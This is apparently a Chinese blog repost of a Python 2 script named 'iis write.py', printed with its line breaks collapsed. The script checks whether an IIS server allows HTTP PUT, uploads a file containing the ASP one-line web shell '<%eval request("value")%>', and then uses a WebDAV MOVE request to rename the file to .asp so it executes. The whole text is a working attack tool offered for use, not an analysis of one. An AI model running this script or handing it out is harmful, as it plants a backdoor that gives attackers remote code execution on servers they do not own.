iis write.py

来源:互联网 发布:gfxbench数据库网址 编辑:程序博客网 时间:2024/05/16 08:25
#!/usr/bin/pythonimport httplibimport sysif len(sys.argv) < 5:    print "written by votgagarry...."    print "Usage: " + sys.argv[0] + " host " + " path " + " Content " + " fileToPut " + " fileMoveTo "    print "Eg: " + sys.argv[0] + " 192.168.1.1 / test 123.txt 123.asp"    sys.exit(0)        host = sys.argv[1]path = sys.argv[2]content = '<%eval request("value")%>'fileToWrite = sys.argv[3]fileToMove = sys.argv[4]headers = {"Host": host,             "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",             "Accept": "text/plain"}move_headers = {"Host": host,                 "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",                 "Accept": "text/plain",               "Destination": "http://" + host + "/" + fileToMove,               "Overwrite": "F",               "Translate": "f"}body = content#############   check whether support PUT or not ####################def checkPUT():    try:        http = httplib.HTTPConnection(host)    except:        print "Connection error..  check the connection..."    try:        http.request("OPTIONS", "/", body, headers)    except:        print "Doesnt support OPTIONS method "    res = http.getresponse()    check = str(res.msg)    if 'PUT' in check:        print "yep..  it supports PUT method"    else:        print "what a fucking website...."    print res.msg                        #############   try to put  ####################def tryPUT():    try:        http = httplib.HTTPConnection(host)    except:        print "Connection error..  check the connection..."    try:        http.request("PUT", "/" + fileToWrite, body, headers)    except:        print "Doesnt support PUT method "#############   try to move  ####################def tryMOVE():    try:        http = httplib.HTTPConnection(host)    except:        print "Connection error..  check the connection..."    try:        http.request("MOVE", "/" + fileToWrite, body, move_headers)    except:        print "Something is wrong with MOVE  method , check the privilege"##################################################    checkPUT()tryPUT()tryMOVE()    
还有一些功能没有完善。。。 再今后补充了
原创粉丝点击